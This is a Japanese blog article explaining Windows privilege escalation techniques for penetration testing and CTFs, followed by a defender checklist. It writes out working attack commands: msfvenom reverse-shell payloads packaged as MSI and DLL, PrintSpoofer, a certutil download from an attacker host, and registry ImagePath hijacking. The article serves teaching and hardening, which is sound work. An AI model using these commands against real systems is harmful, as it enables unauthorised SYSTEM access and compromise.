1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

『Windows PrivEsc(権限昇格)の思考法』〜なぜ堅牢に見えるサーバーがSYSTEMを取られるのか〜

1
Posted at

要旨

 ペネトレーションテストや競技CTFにおいて、「シェルは取れたが、そこから先が進めない」という経験をしたことはないでしょうか。一般ユーザー権限でのシェル取得は、ゴールではなくスタートラインに過ぎません。Windows PrivEsc(Privilege Escalation:権限昇格)とは、低権限のユーザーがシステムの設定ミスや脆弱性を突いてSYSTEM権限を獲得する技術体系です。本記事では、PrivEscを「CVEを探して適用するだけ」のものではなく、管理者が無意識に生み出す構造的な隙間を体系的に読み解く思考法として論じます。


記事本文

1. そもそもなぜ権限昇格が起きるのか

 Windowsは設計上、最小権限の原則(Principle of Least Privilege)を基盤としています。一般ユーザーはSYSTEMやAdministratorが管理するファイルやプロセスに触れられないよう、ACL(アクセス制御リスト)によって厳密に分離されています。では、なぜ権限昇格が頻繁に成功するのでしょうか。

 答えは技術的な脆弱性よりも、人間が行う設定・運用の中に隙間が生まれるからです。攻撃者はOSのゼロデイを使う必要はほとんどありません。管理者が「とりあえず動かすため」に設定したサービスの実行権限、「便利のために」書いたスクリプト、「インストール時のデフォルト設定」として残されたレジストリ値——これらの積み重ねが、気づかれないまま特権への経路を作り出しています。

 PrivEscを理解することは、攻撃手法を学ぶことと同時に、Windows管理者がどのような思考の盲点を持つかを理解することでもあります。Linux版の記事と対にして読むことで、OSを問わず「設定ミスがいかに危険か」という普遍的な視点が得られるでしょう。


2. PrivEscの大分類と攻撃者の思考プロセス

権限昇格の手法は大きく次の2つに分類されます。

  • カーネルエクスプロイト(Kernel Exploit):OSカーネル自体のCVEを悪用する。インパクトは最大だが、環境依存が高くシステムをクラッシュさせるリスクもある。
  • ミスコンフィギュレーション悪用(Misconfiguration Abuse):設定ミスや過剰な権限付与を悪用する。安定性が高く、実際のペネトレーションテストで最も頻繁に登場する。

実務では、カーネルエクスプロイトを最後の手段として温存し、まずミスコンフィギュレーションを徹底的に探索するアプローチが鉄則です[1]。Linuxにおける sudoSUID の対応物が、Windowsではサービスのアクセス権トークン特権レジストリキーとして現れます。


3. 代表的な手法の解説

手法1:SeImpersonatePrivilege の悪用(Potato系 / PrintSpoofer)

 Linuxの SUID に対応するWindowsの概念がトークン特権(Token Privileges)です。中でも SeImpersonatePrivilege(認証後クライアントの偽装)は、Webサーバーやデータベースのサービスアカウントに付与されがちな権限で、悪用するとSYSTEM権限を奪取できます[2]。

# 現在のユーザーが持つ特権の確認
whoami /priv

SeImpersonatePrivilegeEnabled であれば、PrintSpooferGodPotato などのツールを使って即座にSYSTEMシェルが得られます[3]。

PrintSpoofer64.exe -i -c cmd
# → nt authority\system として cmd.exe が起動

管理者の思考の盲点がここにあります。IISやSQL Serverのサービスアカウントに SeImpersonatePrivilege を付与することは、マイクロソフト自身が推奨しているケースすらあります。「公式推奨=安全」という思い込みが、攻撃者に確実な侵入経路を提供してしまっているのです[4]。

なお JuicyPotato は Windows 10 1809以降・Server 2019以降では無効化されていますが、PrintSpoofer は Server 2016以降・Windows 10 1607以降に対応しており、現在も有効な手法です[3]。


手法2:サービスのミスコンフィギュレーション(Unquoted Service Path)

 Linuxの PATH ハイジャッキング に対応するWindowsの手法が引用符なしサービスパス(Unquoted Service Path)です。Windowsはサービスの実行パスにスペースが含まれ、かつ引用符で囲まれていない場合、パスを分割して順に解釈しようとします[5]。

例えばサービスのバイナリパスが次のように設定されていたとします。

C:\Program Files\Vuln Service\Common Files\service.exe

Windowsはこのパスを次の順で解釈しようとします。

C:\Program.exe
C:\Program Files\Vuln.exe          ← ここに書き込めれば悪用可能
C:\Program Files\Vuln Service\Common.exe
C:\Program Files\Vuln Service\Common Files\service.exe
# 引用符なしサービスパスの列挙
wmic service get name,pathname,displayname,startmode ^
  | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v """

該当ディレクトリに書き込み権限があれば、悪意ある実行ファイルを置くだけでサービス再起動時にSYSTEMとして実行されます。

# 書き込み可能なディレクトリの確認
icacls "C:\Program Files\Vuln Service"
# BUILTIN\Users:(W) が表示されれば悪用可能

手法3:AlwaysInstallElevated の悪用

 Linuxの sudo NOPASSWD に対応するWindowsの設定が AlwaysInstallElevated です。このレジストリキーが両方(HKLMとHKCU)で 1 に設定されている場合、一般ユーザーがMSIパッケージをSYSTEM権限でインストールできてしまいます[6]。

# 脆弱な設定の確認(両方が 0x1 なら危険)
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated

悪意あるMSIファイルを用意し実行するだけで、SYSTEM権限のシェルが得られます。

# 攻撃者側:悪意あるMSIの生成(Kali Linux)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<IP> LPORT=4444 -f msi -o evil.msi
# 対象ホスト側で実行
msiexec /quiet /qn /i evil.msi

グループポリシーで配布されるこの設定は、「全ユーザーにソフトウェアを簡単にインストールさせたい」という管理上の意図から有効化されることがあります。その意図の裏に、致命的な権限の穴が開くことを管理者は意識しにくいのです。


手法4:DLLハイジャッキング

 Linuxの LD_PRELOAD 悪用に対応するWindowsの手法がDLLハイジャッキングです。Windowsのアプリケーションは必要なDLLを特定の優先順位でディレクトリから検索します。この検索順序を悪用し、正規のDLLが読み込まれる前に悪意のあるDLLを読み込ませることができます[7]。

標準的なDLL検索順序(SafeDllSearchMode有効時)は次のとおりです。

1. アプリケーション自身のディレクトリ
2. C:\Windows\System32
3. C:\Windows\System
4. C:\Windows
5. カレントディレクトリ
6. PATH環境変数に含まれるディレクトリ

WinPEASによる列挙でDLLが不足しているサービスを発見した場合:

winPEASx64.exe servicesinfo
# → "Possible DLL Hijacking" の記載があれば悪用可能

悪意あるDLLを生成してサービスが参照するパスに配置します。

# msfvenomでDLLを生成
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=4444 -f dll -o missing.dll

手法5:Windowsの「見えにくい権限」——レジストリACL

 Linuxの Capabilities と同様に、Windowsにも見えにくい権限設定が存在します。レジストリキーのACLがその代表です。サービスの設定情報はレジストリに格納されており、一般ユーザーが書き込み権限を持つサービスのレジストリキーを発見できれば、ImagePath(実行バイナリのパス)を書き換えてSYSTEM実行を誘導できます[6]。

# サービスのレジストリACLを確認
# accesschk.exe (Sysinternals) を使用
accesschk.exe /accepteula -uvwqk HKLM\System\CurrentControlSet\Services\regsvc
# → RW BUILTIN\Users が表示されれば書き込み可能
# 悪意あるバイナリパスに書き換え
reg add HKLM\SYSTEM\CurrentControlSet\services\regsvc /v ImagePath /t REG_EXPAND_SZ /d "C:\Temp\evil.exe" /f
sc start regsvc
# → evil.exe が SYSTEM として実行される

手法6:最近のCVE事例——CVE-2025-62215(Windowsカーネル ゼロデイ)

 2025年11月のPatch Tuesdayで修正されたCVE-2025-62215は、Windowsカーネルにおけるレースコンディション(Race Condition)に起因するゼロデイ権限昇格脆弱性です[8]。CISAのKEVカタログにも登録され、実際の攻撃への悪用が確認されています。

脆弱性の本質は複数スレッドが共有カーネルリソースに同期なしでアクセスする際の競合状態です。攻撃者がこのタイミングの隙を突くと、「Double Free(二重解放)」を引き起こしカーネルヒープを破壊し、メモリ上書きによってSYSTEM権限の奪取が可能になります[9]。

攻撃チェーン:
低権限ユーザーとして初期アクセス取得(フィッシング、RCE等)
→ CVE-2025-62215 を使用したカーネルヒープ破壊
→ トークン操作による SYSTEM 権限奪取
→ 認証情報の窃取・ラテラルムーブメント

本脆弱性はWindows 10・11・Server 2016以降のすべてのサポート対象エディションに影響します。「普段通り動いているWindows」がゼロデイを抱えていた現実は、ミスコンフィギュレーションだけでなくカーネル自体の監視がいかに重要かを示しています[8]。


4. 列挙(Enumeration)こそが本質

 ここまで紹介した手法に共通する点があります。それは手法の前に、必ず徹底的な列挙が必要ということです。

 攻撃者の視点では、シェルを取得した瞬間に行うべき行動は「すぐにSYSTEMを取る」ではなく、「今いる環境を全方位から把握する」ことです。WinPEAS[10]はこの列挙を自動化する代表的なツールです。

# 対象ホストへの転送と実行
certutil -urlcache -f http://<kali-ip>/winPEASx64.exe C:\Temp\winPEAS.exe
C:\Temp\winPEAS.exe > C:\Temp\output.txt

Linuxの LinPEAS と対になるツールで、サービス設定・レジストリ・特権・パスワード平文など膨大な情報を色分けして出力します。また PowerUp(PowerSploit)も有名な列挙ツールです。

# PowerUp の実行
powershell -ep bypass
. .\PowerUp.ps1
Invoke-AllChecks

ただし、ツールに頼り切ることには危険があります。WinPEASが出力する膨大な情報を読み解くには、サービス・トークン・ACL・レジストリといった各概念の理解が前提として必要だからです。「ツールは思考の補助であり、思考の代替ではない」という点は、Linuxと変わりません[1]。


5. 防御側の視点:管理者が意識すべきチェックリスト

攻撃手法を理解したうえで、防御側として確認すべき項目を整理します。

サービスとACL

  • サービスの実行パスはすべて引用符で囲まれているか(Unquoted Service Pathの排除)
  • 一般ユーザーが書き込み可能なサービスのバイナリやレジストリキーはないか
  • accesschk.exe でサービスのACLを定期監査しているか

トークン特権の管理

  • IIS/SQL Serverなどサービスアカウントの SeImpersonatePrivilege は本当に必要か
  • 最小権限アカウントを作成し、不要な特権を削除しているか

レジストリ設定

  • AlwaysInstallElevated が両キーで無効(0)になっているか
  • 機密情報(パスワード)がレジストリやスクリプト内に平文で残っていないか

DLL管理

  • アプリケーションのディレクトリに一般ユーザーが書き込めないか
  • Process Monitor でDLL読み込みの不審なパスを定期確認しているか

ログ・監視

  • Event ID 4688(プロセス生成)でSYSTEM権限プロセスの親プロセスを監視しているか
  • SysmonやEDRで異常な特権昇格イベントを検知する仕組みがあるか
  • Windowsアップデートは最新の状態に保ち、CVE-2025-62215のような既知の脆弱性へ対処しているか

6. セキュリティエンジニアとして考えるべきこと

 以上のように、Windows PrivEscの本質は「難解なゼロデイを使いこなすスキル」ではありません。むしろ、管理者が日々の運用の中で無意識に生み出してしまう権限の隙間を、体系的に発見する観察力と思考力です。この点はLinuxのPrivEscとまったく同じ本質を持ちます。

 2024年にMicrosoft製品全体で1,360件ものセキュリティ脆弱性が報告され、そのうち権限昇格(EoP)の脆弱性が全体の約40%を占めました[9]。それでも実際のペネトレーションテストでSYSTEMが取れる原因の多くは、依然として「設定ミス」と「権限の過剰付与」です。

 LinuxとWindowsは仕組みこそ異なりますが、「ここまでは安全だろう」という管理者の思い込みが攻撃者の入り口になるという構造は変わりません。両OSにわたって「なぜこの設定では危険なのか」を深く理解することが、セキュリティエンジニアとして攻撃側・防御側の両方で活躍するための本質的な出発点だと考えます。


参考文献

[1] ComputingForGeeks. "Linux Privilege Escalation: Complete Guide for Pentesters." Tested April 2026 on Debian 12.
https://computingforgeeks.com/linux-privilege-escalation-guide-kali/

[2] Juggernaut Security. "SeImpersonatePrivilege – Windows Privilege Escalation." June 6, 2022.
https://juggernaut-sec.com/seimpersonateprivilege/

[3] itm4n. "PrintSpoofer - Abusing Impersonation Privileges on Windows 10 and Server 2019."
https://itm4n.github.io/printspoofer-abusing-impersonate-privileges/

[4] Plesk. "Microsoft Windows - 'SeImpersonatePrivilege' Local Privilege Escalation." January 13, 2026.
https://support.plesk.com/hc/en-us/articles/12376963995287

[5] Juggernaut Security. "Unquoted Service Paths." June 7, 2022.
https://juggernaut-sec.com/unquoted-service-paths/

[6] swisskyrepo. "InternalAllTheThings - Windows Privilege Escalation."
https://swisskyrepo.github.io/InternalAllTheThings/redteam/escalation/windows-privilege-escalation/

[7] TryHackMe / Medium. "Write-Up Privilege Escalation: Windows Privesc — DLL Hijacking." November 14, 2021.
https://medium.com/@kumarishefu.4507/try-hack-me-write-up-privilege-escalation-windows-privesc-403fe0af93fa

[8] CyberNetSec. "Patch Now: Microsoft Scrambles to Fix Actively Exploited Windows Kernel Zero-Day (CVE-2025-62215)." November 14, 2025.
https://cyber.netsecops.io/articles/microsoft-patches-actively-exploited-windows-kernel-zero-day-cve-2025-62215/

[9] SOC Prime. "CVE-2025-62215: Microsoft Patches Windows Kernel Zero-Day Vulnerability Under Active Exploitation." November 12, 2025.
https://socprime.com/blog/latest-threats/cve-2025-62215-windows-kernel-vulnerability/

[10] PEASS-ng. "WinPEAS — Windows Privilege Escalation Awesome Script."
https://github.com/peass-ng/PEASS-ng

[11] HackTricks. "Windows Local Privilege Escalation."
https://book.hacktricks.xyz/windows-hardening/windows-local-privilege-escalation

[12] Immersive Labs. "Patch Tuesday November 2025 - Critical Microsoft Security Patches." December 15, 2025.
https://www.immersivelabs.com/resources/c7-blog/patch-tuesday-november-2025

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?